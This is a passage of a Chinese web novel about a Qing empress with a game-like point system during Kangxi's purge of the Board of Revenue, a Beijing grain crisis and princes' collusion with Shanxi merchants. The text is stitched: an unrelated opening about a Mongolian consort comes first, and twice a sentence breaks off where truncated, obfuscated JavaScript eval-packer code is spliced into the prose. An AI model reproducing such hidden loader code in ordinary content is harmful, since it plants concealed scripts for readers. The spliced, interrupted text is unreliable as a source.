跨着骏马追黄羊,带着女人们在敖包前唱歌,甚至能赤着脚踩在带着露水的草地上,任风把头发吹得像团乱草。 没人教她规矩,没人管她是不是“得体”,她是阿日娜苏,是能跟狼群对峙的草原女儿,不是哪个男人的附庸。 对皇帝的那点崇敬,早被草原的风刮散了,淡得像清晨的雾。 她以为,这辈子都不会再回这四方城。 可夏天一到,部落的信又来了,催她入宫,说“还得靠你维系着”。 再踏入宫门,她像被关进笼子的狼。 那些在草原上舒展的筋骨,突然被“规矩”勒得生疼。见了谁都要屈膝,说话不能大声,连笑都得抿着嘴。她把对自由的渴望、对草原的念想,全藏在宽宽的衣袖里,藏在深夜梦回时的叹息里。 为了家乡,她试着去亲近皇帝。 在御花园“偶遇”,在宴席上唱草原的歌,可他的目光总像隔着层纱,落在她身上时,淡得像看一朵不开花的草。 太皇太后见了她,只说“安分些”;太后问两句饮食,便再没别的话。没人教她该怎么做,仿佛她是株不需要浇水的植物,丢在角落里自生自灭。 反倒是皇后,总记着她。 记得她自小爱吃奶皮子,就让小厨房送来;见她宫里的炭不好,悄悄让人换了银霜炭;甚至会拉着她的手说“草原的秋天该打草了吧”,那语气里的暖意,让她想起母亲。 阿日娜苏是执拗的,她认定要为部落做事,就不会半途而废。可她不是卑贱的,不需要摇尾乞怜。皇帝的冷淡像盆冷水,一点点浇灭她最后那点“为了使命”的坚持。 待大学士们依次领了今日的任务离开,康熙将狼毫重重掷入笔山,墨滴溅在明黄圣旨上,晕开的痕迹如同一朵怒放的墨莲,“传皇后。” 户部的案子,不能全由前头的官儿处理,否则又得查出个无头公案。 梁九功一脑门子汗,小跑着亲去养心殿传话。 珠兰停了宴席,不慌不忙的过来乾清宫,进门福身,能看见帝王袖口露出的青筋。 50. 粮价暴涨 “从内务府挑人,”康熙的声音砸在龙纹柱上,反弹出嗡嗡回响,“从广储司、会计司到营造司,凡管过钱粮、懂算学的郎官,列个单子来。” 这个时候,还是家奴用着放心。尤其这一帮都是皇后选出来,能干的家奴。 他更加信任皇后的能力和眼光,不信任吏部。若是珠兰做了吏部尚书,定能以雷霆手段整顿朝纲! 俯身拾起地毯上的算盘,檀木珠子在掌心哗啦作响,“朕要的是能把算盘珠打出血的狠角色,不是去户部喝茶的!” 原来是皇帝发现了窝案,把户部从上到小直接给端了。 那也不能给这么大一颗能量结晶吧,这可是珠兰至今收到的最大的一颗了,比河工给的多多了,总不至于是世界都看这帮官僚不顺眼哦。 珠兰这边想着户部,朝中有六部来着,要是都端了··· 她领旨起身,月白裙裾扫过满地奏折,其中一封急报正露出“米价暴涨”四字。 皇帝这么爱把奏折丢一地,珠兰腹诽,回到养心殿开始盘算人员和存粮。 “就他们了。”拂开垂落的珍珠帘,鎏金护甲划过名单上的红圈,忠诚度够90了。我的人就这么进了前朝,机会来的这样快。 等前朝官员被皇帝换一遍,五成七成都换成我的人,到时我也未尝不可摸一摸龙椅啊。只是这观察点还得从康熙身上薅,若是让他做了太上皇,不晓得还能不能薅。 当这批内务府官吏戴着新换的水晶顶子走进户部时,老吏们焚烧旧账本的青烟尚未散尽——那些在秦淮河畔流转了十年的糊涂账,终将在金算盘与铁腕下,露出本来面目。 米思瀚其实也不想这么干,他瞅着部堂新来的一群包衣官吏,想着白天吏部尚书皮笑肉不笑的死样子,恨不能现在就告老还乡。 他的名声已然臭了,他晓得。所有不守庙堂规矩的人,都是这个下场。本来户部跟吏部玩的好好的,户部跟江南也过的美美的,现在全没了。 不光是全没了,其他五个部堂都忙着自查、忙着告诫呢,就怕哪天地方上有个蠢材想出个聪明主意,让他们也跟着倒大霉。 不怕你动,就怕你不动,皇帝手下还有个粘杆处呢。一个个通往下头的秘密渠道,就这么在乾清宫成了透明的。 可惜这个组织,尚未渗透到位,这些消息珠兰共享不到。 不过没关系,江南的马佳氏与翻云会的消息也不慢几天。京里则有一群遍布各个行业的掌柜们盯着呢,但凡有个蛛丝马迹的,他们的消息更灵通。 至于其他几个方向,就暂时爱莫能助了。 要不是淮安非要动河道衙门,还想让京里找人顶着,米思瀚不会发动这种等级的自爆的。 就跟葛布喇大人没朋友是一个道理,他富察家以后也只能做坚定的皇党。 可若非索额图示警,他还不知道要大祸临头。 户部侍郎这俩孙贼,居然想把江苏淮安那边谋划将河道衙门一锅端的事儿,甩给他这个新来的尚书背着。若非如此,他也不能这么狠,直接就寻了个机会把户部的臭底子给皇上看。 这东西就一环套一环,要说之前咱们大清朝的官场是没有这么直白要人命的。可你河道衙门先不仁,不明不白把江苏的官儿就整死了,不能怪人家淮安反抗啊。 可你淮安的事儿,怎么能不自己背,拿着账本威胁京里的大员给你擦啊。 你们户部的烂事儿,我米思翰还一点没沾呢,就要稀里糊涂陪葬,天下没有这样的道理! 说到底,是靳大人太不地道了,才酿成京中大祸啊。 帮着搅拌水泥的靳大人使劲儿打喷嚏,被心裕拉一边去了,碍手碍脚的。 明珠来问米思翰时,他是犹豫了片刻的。 可他现在脑子里一团浆糊,就是想保命罢了,咱家里有世袭的旗缺儿,实没有必要在这儿跟他们这群亡命之徒去玩命啊。 户部这一群胆子太大,牵涉的人太多了,满朝文武又该开始人人自危了。 出事的是江苏,事发的是户部。可其他部堂,就干净? 户部的窝案是从顺治年间就开始操纵的,历经四大辅臣时期发展壮大,若是要查幕后主使,铁定是查鳌拜身上去,米思瀚一点儿都不想沾。 他看了看新手下,点了个王子腾出来,配合查验江苏的案子。这家伙是干事出头的,还是金陵人,说不定知道点什么,可以用一用看看成色。而且,只有他是皇帝钦点,从内务府调出来的。 不错,王子腾这次也从内务府出来了,升了官,做了户部江南清吏司的郎中,大权在握。他那一摊子琉璃经营大业,则被安排转给了老亲薛奋这位皇商全权负责。肥水不能流外人田,这薛奋正适合做他妹夫。 薛奋凭借告密之功,一举混上了内务府主事之职,还拿到了琉璃的全国经销权,更有一门上好的亲事落在头上,做梦都不敢这么美丽。 索额图向珠兰汇报此事时,珠兰还生心见了薛奋一面,嗯,挺普通一个少年,长得还行,气质有点瑟缩,还不如王子腾呢。 对于娘娘对薛奋更感兴趣,对王子腾被皇帝调走的事兴趣缺缺,索额图有自己的想法,一定是娘娘信任我啊,大事全权交给我办了。 珠兰这边呢,好消息是,新地图已全部解锁,观察点上限提升到900了。就是这事儿,太水到渠成了,没有成就感。这皇后做的,手下把问题都解决了,就光听好消息就成。 虽然对皇帝专门调离一个人,她有些疑惑。不过也无所谓,内务府离开谁都转。王子腾入了前朝,忠诚度不降反增,她不亏的。 皇上在忙碌之余,发现皇后黏糊他的时间越发长了。 她怎么就不做点正经事儿,那内库进了钱就出去,还空荡荡呢。康熙转念又一想,前朝沸反盈天的,珠兰虽然从来不提,定然也是心忧的。太皇太后病了这些日子,她也惶惶着,可不是要粘着朕了。 她啊,有点心事都藏起来,不愿给朕填麻烦,又忍不住想待在朕身边。她念着朕,朕也要管她,不可令她泥足深陷,当真为前朝勋贵彻底敌视。 其实是老太太彻底清醒了以后,不耐烦见那么多人,每日就帝后去了也是待一刻钟,珠兰只能拉着皇上刷观察点。 上限涨了,可不就相处时间也得涨。 那红楼梦的主要人物都没出生,现在的几位给不了多少点数。珠兰顶多找贾敏来玩耍,等闲也见不到别个。 为了观察点,还得保证红楼中的姻缘线不能歪。 所以老太太想让贾敏入宫这事儿,得搅合黄了,不然林黛玉可就来不了了咋办。而且,玉宁现在就走这一款儿文青味儿,两人也撞款儿了。珠兰身边有一个吟诗作赋的就行,她不太喜欢一样来倆这种。 关于太皇太后与史夫人密谈的内容,她已晓得了。这就是满宫都是高忠诚度包衣的好处,不容易有她不晓之事。 皇帝以为珠兰在忧虑流言,其实她在想林黛玉。 那林海,此刻在哪里? 算一算,明年有科举,这探花郎不晓得是不是他。 随着漕运断绝的时日见长,京中粮价飙升。珠兰手下的掌柜们把自家囤的平价米,都趁着价高的时候抛给了大粮商。数量之多,险些就把粮商们拉高的粮价给压下来。逼迫这些粮商,不得不找背后大金主拆兑现银。 索大人亲来寻了,让他们配合,那必须配合到位。要不是索大人偷着在内务府开了高炉请了传教士,给他们专门研究攻克新式海船的工艺,那船还影子都没有呢。都是给娘娘办事的,必须办到位。咱家的新式海船,头一回入海就是运粮食,一趟来回就够京城人吃十天半月的。 索额图盘算着火候,这帮粮商都是跳梁小丑,他要的是让后头的人浮出水面。 阿玛说得对,咱们不能没朋友,没朋友可自己找啊。 他寻思着,等米思翰那边的火候到了,还得往俩姐夫家里走一趟,炸吧,多炸点。 这一年的暑气像一张密不透风的网,将九城百姓困在蒸腾的热浪里。 米市大街的粮铺前,百姓攥着碎银挤破门槛,眼看着斗米价格从五十文飙升至二两白银,惊得挑夫们把肩上的粮袋攥得更紧——昨日还能买三升米的钱,今日连半升都换不来了。 人群中突然爆发出哭喊,一位抱着婴孩的妇人当场晕厥,怀中的糠饼滚落在地,被争抢米粮的脚踩成齑粉。 珠兰听着内务府的汇报,当“粮价已涨至平时五倍”的字句落入耳中,她腕间东珠发出清响。 乾清宫的金砖被晒得发烫,康熙一脚踢翻了面前的粮样筐。 霉变的糙米混着沙土滚了满地,与户部呈上来的“上等贡米”样本判若云泥。 “打开官仓!”他攥着密折的指节泛白,那上面写着通州粮仓的存粮十有八九已腐朽生虫,老鼠在粮囤里做窝的景象,比决堤的黄河更让人心惊。 当禁军撬开朝阳门粮仓的铜锁,扑面而来的霉味让校尉们纷纷掩鼻——只见粮囤上层铺着新米,底下全是发黑的陈谷,虫蛀的粮袋里甚至爬出了蜈蚣。 消息传到朝堂时,原本以证据不清,未酿成大祸之言辞为户部说情的官员们忽然噤声。库里的粮食,是底线。 那些曾质疑靳辅治河"靡费钱粮"的奏折,此刻还摆在案头,却再也无人敢递。此刻,再没有比户部贪腐,更加靡费钱粮的事儿了。 午门外的蝉鸣忽然变得刺耳,大臣们望着皇帝铁青的脸色,比漕运断绝更可怕的,是支撑江山的粮仓早已被蛀空。 突然,他抓起案上的玉镇纸狠命掷出,羊脂白玉砸在"清正廉明"的匾额上,碎成数段。飞溅的玉屑擦过梁九功脸颊,惊得这乾清宫总管太监扑通跪倒,额头磕出闷响,“万岁爷息怒...” “息怒?百姓易子而食时,那些蛀虫在粮仓里养蜈蚣!”他猛地扯开龙袍领口,十二章纹在剧烈起伏的胸膛上扭曲。户部的胆子,怎么就能这么大。几个堂官,怎么就敢拉着整个部堂一起烂。后面,到底有谁! 粮商王老虎站在绸缎庄二楼,金算盘在掌心打得山响。他望着底下如蚁的人群,肥硕的手指抹过油光锃亮的下巴——昨夜从山西票号借来的十万两银子,此刻正变成一车车白米囤进地窖。 对街的米店老板缩在柜台后,望着空荡荡的米缸直搓手,却被王老虎的伙计用刀背敲着柜台:“敢私卖平价米,明儿就让你铺子关门!” 八抬大轿碾过米市街,轿帘缝隙里漏出的霉味让贵人皱眉。此刻衙役们正忙着张贴"严禁囤积"的告示,自己袖中却藏着山西送来的银票。 突然,轿身剧烈颠簸,原来是几个饿昏的百姓撞在轿杠上,管家隔着轿帘吼道:“拖开!再挡道送顺天府!” 贵人摆了摆手,终究什么也没说。 索额图站在对面隔壁二楼,往下一看就见到轿子上的徽了。还得是自己家姐夫,有这个敏感性。家里养的猎犬,叼走了主人家圈养的兔子,这事儿怎么办呢。 佟国纲用佩刀挑开通州粮仓的霉变粮囤,黑灰色的虫蛀米如瀑布般倾泻而下。他捏起一把混着蜈蚣残骸的秽物,皂靴狠狠碾过粮囤底部的青砖,碾出暗褐色的浆汁,“筛!把能吃的全筛出来,掺上麸皮熬粥!” 五百禁军手持竹筛进驻粮仓,筛网晃动的声响昼夜不停。阳光下,霉变米粒与沙土簌簌落下,合格的糙米堆成小山,由锦衣卫押送往九门施粥厂。 当第一锅麸米粥抬出城门时,等候的百姓疯了般扑向木桶,老妪的银发沾着粥糜,孩童捧着破碗的手在不停颤抖。 这招只能救命,可平抑不了粮价。 乾清宫 膳桌在烛火下泛着幽光,四对羊角宫灯将康熙与珠兰的影子投在雕花槅门上,仿佛两柄交叠的如意。 银镶玉箸刚夹起一片鹿肉,帝王忽然放下金筷,青瓷珐琅碗里的莲子羹晃出细浪,“今儿米市大街又涨了三成,户 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他转身时,龙袍下摆扫过粮囤,惊起的米尘在光柱中飞舞,如同无数救命的星子。 黎明时,索额图押送三十辆载着白米的骡车悄无声息驶入崇文门,麻袋上“内务府皇庄”的火漆印在晨雾中若隐若现。 珠兰手下的掌柜们一边配合索额图行事,一边又送上了新消息。 这里,就不得不说翻云会的人,还真在晋商票号里扎了根,拿到了一手材料。 与此同时,南边和北边新得了买卖的两家也没闲着,都送了不少竞争对手的黑材料进京。 都是给娘娘办事的,索额图一点不怀疑消息来源。皇后娘娘,就是有这样的本事,她手下的人才就是有这样的渠道。 一开始,索额图知道背后有晋商的事儿,都大吃一惊。只能说有些人就是发国难财起家的,没灾都想造点灾,总要□□一把才痛快。可这帮人怎么就觉得自己在天子脚下这么搞,就能没事儿? 他一开始没想明白,后来往姐夫家去了一趟,明白了。 内务府赚大钱的买卖没给他们分润,他们的白手套又在草原上和苏州关被针对,损失了不老少,眼瞅着年底分红要降低,可不得赶紧干一票大的回回血。 他晓得这个事儿自家去皇上那汇报,不合适了。毕竟,此事皇上交给米思瀚处置了。 于是,念及老父亲屡次嘱咐的盟友问题,他就又一次照顾了米思瀚。 两家要是往上数,也是可以论上亲戚的。现在处境俩家都尴尬,抱团取暖合适。 也不能不说,索额图之所以当初无偿的告知米思瀚他的下属作妖,而不是坐视其人掉坑,就是想给自己也找点天然盟友。 阿玛说不能站在群臣的对立面,那我过不去,我就把他们拉过来。 京中某处大宅 “阿玛,正是赚钱的时候,这时候叫山西那边停手,他们也不听啊,再说了叔伯们也不会同意的。” 中年人长叹一声,连夜往隔壁街去,走到半路上正看见索额图在道边上坐着。 “姐夫啊,这么晚着急去哪里玩耍。” 这个催命的,怎么又来了! 淮安府 工部侍郎冀如锡、户部侍郎伊桑阿带着一众随从,紧赶慢赶到了淮安,生怕去晚了,灾情糜烂整个江苏。 浊浪滔天的黄河上,冀如锡与伊桑阿望着眼前用钢筋混凝土筑起的堤坝,惊得官帽上的宝石顶子又一次簌簌发抖。 河道衙门发挥了百分之五百的作用,他们把黄河决堤之口给封堵了!他们还把灾民都招到河堤上做工,给发粮食发钱! 桃源县决堤处的浊浪已退,那些曾被黄河水浸透的麻袋砂石,如今嵌在交错的钢筋网格中,像被凝固的惊涛。河道衙门的工匠们赤着上身敲打,汗水滴在新生的堤面上,砸不出半分痕迹。 靳辅踩着尚未干透的混凝土,靴底留下的足印很快被浆体自动弥合,他指着堤坝转角处的三角结构,对目瞪口呆的冀如锡说:“侍郎请看,此乃用西洋几何算出的最佳弧度。” 伊桑阿恍然大悟,原来,他们有京中秘密支援的钢筋混凝土秘方,这东西比麻袋砂石料好用一千倍。 灾民们扛着铁锹在堤上穿梭,腰间系着的工牌在阳光下闪闪发亮。他们啃着掺了麸皮的窝头,望着身后渐渐成型的堤坝,忽然有人扔下工具跪倒在地——三日前这里还是一片泽国,如今竟能用“会自己变硬的石头”挡住黄水。远处传来更夫敲锣的声响,“领工钱咯!每人每日三升米!” 冀如锡看了看粮库,哦,这边衙门提前存了米。 不是存的啊,哦,主要是当地一些大型势力捐助的,就想换个路子过活呗,这还不好办。 对,伊桑阿点头,盐引好说! 靳辅:不,不是···他攥着一沓子伊桑阿从江苏盐政衙门收缴的盐引,哭笑不得。 杨期:您给我这么些盐引作甚··· 靳辅:您老看着处置! 冀如锡:那剩下的事儿就更好办了,就地查案吧,查到皇上满意,查到咱哥俩也当孤臣就行了。 伊桑阿??? 江苏官场,瞬间尸横遍野。 京中 米商们闻风而动,挤在粮市口看着如山的白米卸车,算盘珠子打得震天响,却没留意这些平价米的背后,是早已算好的棋——当粮商们咬牙借高利贷囤货时,皇帝嘴角勾起一抹冷峭的笑。 51. 封建铁拳 明朝正统年间,北京曾因漕运受阻导致米价暴涨,朝廷开仓放粮20万石,配合限制粮商利润,短期内稳定了价格。 但是皇帝似乎找到了一条新路子,张开了口袋,任由粮商把内务府每日放出的存粮买进。 珠兰听说,纳兰明珠曾献上良策,深得天子之意,此事便全权交托给他了。 怎么索额图就把这活儿让出去了?不像他风格啊。 索额图居然就只管按照明珠的要求,每日提供粮食,其余的便不管了? 皇帝的精力放在了抄家杀人上,内库再一次丰盈起来,户部大小官员的家产够三藩军务一年之用了。 珠兰麾下的掌柜们都在等着海上那下一拨粮船,他们不得不相信南下的杨期先生是真能未雨绸缪,那么早就判定了粮价会涨,还早就安排好了海路。 珠兰就很好奇,自己是因为知道后头粮食进京只在十几日间了,心里有底,不怕挣不到这一票平抑物价的能量。 那皇帝,怎么就那么淡定呢,他就开始挣粮商的银子了。 太皇太后在病中,还不忘操心大孙子的江山,把皇帝叫过来,又强调了一遍以柔克刚的道理。 皇帝也不跟病中的祖母争辩,老太太怎么说他都听着,出来就该怎么办就怎么办。 正处于叛逆期的年纪,顺风顺水的处境,遇到困难不让他冲,他是真听不进去。 内务府的粮没有流一粒到老百姓手上,很快都被明珠坐地起价,每日限量售出,以三天把粮价拉高一成的速度慢吞吞的抛给了粮商。 赤贫的老百姓吃不起粮,只好去佟国维那儿的棚子里喝沙子米糠,一天一顿,一时半会倒是还能撑着。 庄子上有趁机来招工的,南边的棚地买多了,铺子盖了三条街面的,都快盖成商业区了。珠兰的产业,就是以这种速度在各地拓展。手下太难干! 就这么着带走了一波有力气能做工的,给佟国维减少了不少负担。剩下的老弱吃的少,还不打架。 粮商们不知从哪里得了消息,晓得内务府存粮也不多,就天天加价收。 他们就不怕,南边的漕运马上就能畅通了。还是他们笃定,漕运一时半会就恢复不了? 皇帝又派米思瀚去查,限期查办,米思瀚快愁死了。 这时候又是索额图上门,给他指点了晋商。 米思瀚盯上晋商这事儿,皇帝很满意,晋商更有钱。 山西那边,比江苏还烂,趁此机会也不是不能清扫一遍。 可惜朝中大员都聪明了,任由皇帝如何挑逗,都不吭一声,一个说内务府与民争利的都没了。 十日后的淮安城暴雨如注,刑场的积水映着皂靴与囚车。 被剥去顶戴的官员们跪在泥泞中,里面什么人物都有,满的、蒙的、汉的,某些来镀金的头衔多得数不清,可皇上说了一律在当地砍了脑袋,不用带回京师。京里也砍了不少了,刑部大牢里都满当着呢。 冀如锡站在监斩台上,望着雨幕中瑟瑟发抖的人群,想起临行前康熙的朱批:查不清江南贪腐,朕把你们也筑进河堤。 我就是个工部侍郎,我为啥要在这儿砍人脑袋啊。 伊桑阿掰着手指头,快杀空了,京里来的侯缺儿的官儿不够用了,得催一催。 冀如锡掸了掸衣服上的灰,“伊老弟,咱该换地方了。” 伊桑阿:“去哪里?” “皇上让你查啥来了。”冀如锡摇了摇头。 “户部与江苏勾连的窝案。”伊桑阿答。 淮安一地,岂能交差。 与江苏官场大地震消息一起回京的,还有天津港到货了三艘挂着葛字旗的粮船,沿途官吏报喜平价粮马上进京,乾清宫的皇帝哈哈大笑,夸葛布喇不愧第一忠君之人,而后令米思瀚提前收网。 米思翰握着从晋商票号里翻出来的证据,哆哆嗦嗦,事情复杂了啊。 这哪里是证据,这就是晋商的护身符啊。 索额图你害我啊! 此时,明珠已经把内务府的存粮都高价卖了。 葛布喇:我干啥了?哦,我家掌柜的从海上运来粮食了。 满朝文武顾不上那个江苏的事儿了,都被京中晋商搅和的米价弄的脑瓜子乱套。 一会儿涨破天,一会儿居然就又跌了。 皇上在下一盘大棋啊,目的一定是冲着前朝某些人。 有心人开始研究赫舍里家的新玩法,布局甚远啊。安亲王直拍大腿,他想着家里的福晋就是皇后亲姑姑,是不是让她多回娘家坐坐。 “王老虎,这地窖的三千石白米,可有户部的通关文牒?”佩刀抵在粮商咽喉,鎏金算盘从货架滚落,算珠砸在金砖上迸出脆响。粮商肥硕的脸颊贴着冰凉的米袋,汗渍浸透的绸衫下,正露出山西票号的借据——那上面的十万两白银,都用来买内务府的粮了。 九门提督的快马踏碎晨雾,查封十八家粮铺时,在夹墙里搜出的银票能铺满半条街。 当第一批粮商被押往西市问斩时,米价应声暴跌三成。 当刽子手的鬼头刀扬起时,人群中爆发出尖叫,王老虎肥硕的脸颊抽搐着,大人说了保我们的。 三日前还卖五两银子的斗米,此刻已跌回百文,米铺前排队的老妪正用破碗接着新碾的糙米。 珠兰恍然,难怪皇帝淡定,无论南边的粮船来是不来,他都准备让京中的粮商吃一击封建铁拳了。 这会儿前朝不干了,他们都有点兔死狐悲的义气,坚决不可令皇帝养成不教而诛的坏习惯。 怂恿清廉正直之人站出来说皇帝此举不对,不能因为经济行为给人定罪,那粮价涨了就是涨了,不能因此杀人。 “万岁!囤积乃商贾常情,何以致死?”一人跪在金砖上,官帽顶子抖得像秋风中的落叶。 大理寺少卿,山西人。此人以清廉闻名,不结党,不是朕要钓的鱼。 康熙目光扫过阶下噤声的群臣,“米思翰,把证据呈上来。” 户部尚书展开一卷文牒,在烛火下泛着血光:“粮商王老虎等所购白米,无漕运通关印、无户部榷□□,全系黑粮!”他顿了顿,“更兼其用晋商票号支银,而该票号已因''勾连外藩''被查封——所欠内务府粮款,至今分文未付。” 御史台某官刚要起身反驳,袖口突然被同僚死死攥住。那人凑在他耳边低语:“户部掌天下税赋,说你手续不全...便是不全。”为啥户部这么重要,人家是制定规则的。 米思瀚的意思是说这些人收的粮没手续,是黑粮,得充公。 然后这些人怎么死的呢,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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珠兰想起自己在内务府查办主事,还找了一堆证据,那就该以着这帮人左脚进门是对皇上不满,大不敬的大帽子一扣,就全杀了算了。 这点分歧,暂时算无伤大雅吧,珠兰看着皇帝。 康熙放下酒壶,龙纹金镶玉扳指蹭过珠兰的手背。他望着她鬓边颤动的珍珠,想起白日里朝堂上鸦雀无声的景象——当米思翰拿出“黑粮”文牒时,御史们连反驳的话都咽了回去。“户部掌着榷税印,”他指尖划过她面前的翡翠碗,带着一点炫耀,“说谁手续不全,谁便不全。” 明珠的主意,是真不错。 珠兰低头凝视着碗中沉浮的莲子,她却要考虑内务府旗下商铺的声誉,这以后还能不能做买卖了。罢了,没人敢不给朝廷面子。 康熙开心了,也没开心多久。 被查封的票号暗格里,除了三藩密信,还有本烫金账本记着惊人数字:近十年间,户部大小官员通过晋商"洗白"的银子,足够再筑三道黄河大堤。可这不是大头啊…… 当这些账本摆在康熙案头时,乾清宫的自鸣钟恰好敲响子时,铜齿轮转动的声响中。 米思翰跪在金砖上,被虫蛀的账本散发出霉味,其中某页用银箔粘补过,露出的字迹让帝王震怒:银十万两,转购江南良田,供···之用。 “好啊...好个以水谋利!令明珠、索额图,巡山西。”朕倒要知道这个供,是供给了谁! 米思翰一惊,“皇上,万岁,此时江苏尚未清净。再去山西,是否···”操之过急啊,皇上。南边,还有三藩呢。 康熙坐在龙椅上,只觉四面皆敌。 52. 谜底揭晓 楠木雕花窗棂漏进的暑气,将乾清宫蒸成蒸笼。 米思瀚的额头第三次撞在金砖上,渗血的方巾早被揉成碎布,露出的伤口在烛火下泛着青白。 “万岁!”他的官服后背又一次洇出狰狞的汗渍,官袍上的补子沾着血泥,“山西...动不得啊!” 帝王望着阶下磕头不止的户部尚书,明黄龙袍下摆扫过御案,案头的晋商账本被带起,露出夹着的密信——那上面“吴三桂”字样,几乎要写满一张纸。 “动不得?”康熙的声音砸在龙纹柱上,反弹出嗡嗡回响,“京中等着南粮,这帮子禄蠹给朕落井下石。朕捉了京中粮商,杀了。怎么山西的商人,杀不得了。通敌叛国之辈,已如此猖狂!不把山西这歪风整顿了,你是要让朕以后改喝西北风?” 米思瀚猛地抬头,额角的血珠滴在地上,溅成细小的红梅:“非是为山西...是为...是为江山社稷啊!” 突然,殿外传来人声。外边太监通传“安亲王岳乐求见...” 米思瀚的官帽落在地上,骨碌碌滚到康熙脚边。哎,可算来了。 索额图总算,没把老子搁锅里煮了。 “宣。”帝王吐出一个字,龙纹金镶玉扳指在掌心碾出红痕。 安亲王的膝盖撞在门槛上,发出闷响。他五体投地爬进殿,双眼浮肿如桃,亲王补服的团龙纹被汗水浸得发暗:“奴才...奴才有罪!” 不等康熙开口,他已扯开腰间玉带,露出藏着的账本——首页用朱砂写着“太祖爷龙兴关外,晋商助银八十万两”。 皇帝阴沉着脸,不断运气,翻开账本,他此刻心里已经有了不好的预感。 安亲王低着头,想着索额图的话,闭着眼睛发抖。此刻大局为重,个人荣辱不算什么。不能让皇上在大朝会上发作此事,否则宗室人心散了,三藩如何打不说,咱们爱新觉罗先要没一半。 索额图啊索额图,不亏是得了岳父索尼真传,一番话说下来,他想不听都不行。 事情到了这个地步,只能找皇上坦白,才有生机。 长生天知道,这就是祖先遗泽,他们不是故意瞒着皇上赚银子。实在是那帮子晋商没本事,怎么在内务府混了这么久,还没混到皇上眼前啊。 珠兰:皇商?我还没整理好他们呢。 晋商呜呜呜:不是我们不想凑,是皇上亲政以后,主子娘娘还没给机会啊。光敲打我们了,我们可也忍了,就等着上头提条件呢。谁知道上来,就要砍死我们啊。 明末,后金在辽东崛起后,明朝对其实施经济封锁,严禁铁器、粮食、布匹等战略物资流入。 但晋商为追求暴利,通过张家口等边境口岸,与后金私下贸易。他们将中原的粮食、丝绸、金属制品运往后金,换取马匹、皮毛等物资,甚至为后金提供明朝的军事情报。 后金天命年间,晋商范永斗、王登库等八大家族长期与后金交易,成为努尔哈赤、皇太极的重要物资供应商。这种贸易不仅支撑了后金的军事扩张,也让晋商积累了原始资本。 从那个时候起,后来的铁帽子王们就都是晋商的靠山了。 “晋商...是跟着太祖爷打天下的。”安亲王的手指抠进砖缝,指甲翻出鲜血,“当年盛京缺粮,是晋商冒死运粮;崇德年间铸炮,是晋商捐的铜。” 康熙看了一半,合上账本冷笑,“入关后,先帝为表彰晋商,将范永斗、王登库等八家晋商封为皇商,让他们做了龙票商人,赐予贸易特权,允许他们经营盐业、边疆贸易、代缴赋税、承办军需。朕,不欠他们的。” 安亲王顿了顿,陛下啊,老奴才我不是这个意思。 他晓得今日不说明白,是过不去这个槛了。谁让先帝死的早,就没人跟皇上说呢。 他咬牙揭开了铁帽子王的老底子,一五一十把官商勾结那点事都说给皇上听,絮絮叨叨说了半个时辰。 晋商不仅是皇商,也是为他们这些王爷敛财的白手套,“如今各府的庄子、票号...都是老祖宗传下来的基业啊!三藩,三藩原也是...”岳乐声音嘶哑,大家伙从关外合作到关内,都是传承了两三代的老关系了,晋商也就是没刹住车,还跟他们做点小买卖罢了。 康熙猛然起身,那些曾被他视为“贪腐证据”的晋商账本,此刻在烛光下显出诡异的脉络——从太祖爷龙兴之地开始,晋商的白银就像血脉般渗入爱新觉罗的骨血,忽然觉得掌心的翡翠算珠冰得刺骨。 好好好,通三藩不算你们通敌,你们居然国难财都发!朕都没发呢!“难怪...”帝王的声音低得像冰碴,“难怪粮商敢囤货,难怪他们敢打内务府存粮的主意。”他踢开面前的账本,却见某页露出的字迹让他瞳孔骤缩:康熙三年,安亲王府支银十万两,购江南良田... 难怪户部有这么大的胆子,就是知道晋商能给他们洗钱!为什么晋商能给他们洗钱,当然是因为爱新觉罗王爷们给的底气啊。 上行下效啊!上行下效啊! 户部后面站着谁,还用查吗! 康熙颓然坐了回去,先帝去的早,他是知此事还是不知? 葛布喇说他们赚二百,只给朕分一百。可葛布喇不知道,这二百也就是人家商人给的保护费罢了,朕的亲戚还觉得自己这个人家养的打手是主子了! 殿内只有安亲王岳乐的抽噎声,索额图说了,他要把自家的事儿爆了出来,皇上大概不会怎么着他,还会觉得他最老实忠诚。他要是藏着不说,叫查出来,这个王爷爵位肯定是没了。 本来没事儿,本来都能光明正大的说。偏偏几件事赶在一起了,偏偏皇上又是这么个脾气。 米思瀚望着御座上阴影里的帝王,当年入关时,跟着的除了八旗兵,还有推着银车的晋商。如今那些银车的轮子,已变成锁在王朝脖颈上的枷锁。 他家里也是那会儿发迹的,只是没有王爷们这么大胆子罢了。 康熙的手指划过龙椅扶手上的蟠龙纹,指尖停在龙目镶嵌的红宝石上。那宝石映出他铁青的脸,也映出阶下两滩血渍——一滩是米思瀚磕破的头,一滩是安亲王抠出的血。 殿外暴雨突至,铜钱大的雨点砸在铜缸里。夏天的雨水,来的急切。 “起来吧。”帝王的声音突然响起,惊得两人浑身一颤。 康熙拾起地上的鎏金翡翠算盘,算珠在掌心哗啦作响,每一声都像敲在安亲王的骨头上。 皇帝何等聪慧,他晓得今日来得是安亲王,若是今日不应,明日来得就会是康亲王,后头还有排着的。所有爱新觉罗宗族里有头有脸的,人家必然都打点到位了。 皇室家族繁茂,每一支脉都想过好日子,他们与晋商勾连,甚至不止是晋商。皇帝富有四海,穷亲戚们想着办法从四海里捞点鱼虾吃,他不能把亲戚都推海里溺死。最起码,现在不能。 他将算盘砸在安亲王肩头,珠串断裂的声响里,迸出冰冷的字句,“传朕的话儿,三日之内,连本带利还来。否则...”烛火将他的影子投在墙上,恰似一柄举起的斩刀,“朕不砍他们的头,只砍...这三代来的老规矩。朕想要什么,岳乐你最清楚。” 安亲王望着帝王眼中翻涌的寒芒,心中明白:当金权与皇权的血脉开始反噬,终究要算出...铁帽子上的血债。诸王,如若不如皇上的意,便要承受帝王的怒。 岳乐磕头如捣蒜:“奴才愿第一个捐家产、上前线、灭三藩!” 大朝会 太和殿的铜鹤香炉还未燃尽晨香,安亲王岳乐已撞开丹陛前的仪仗。 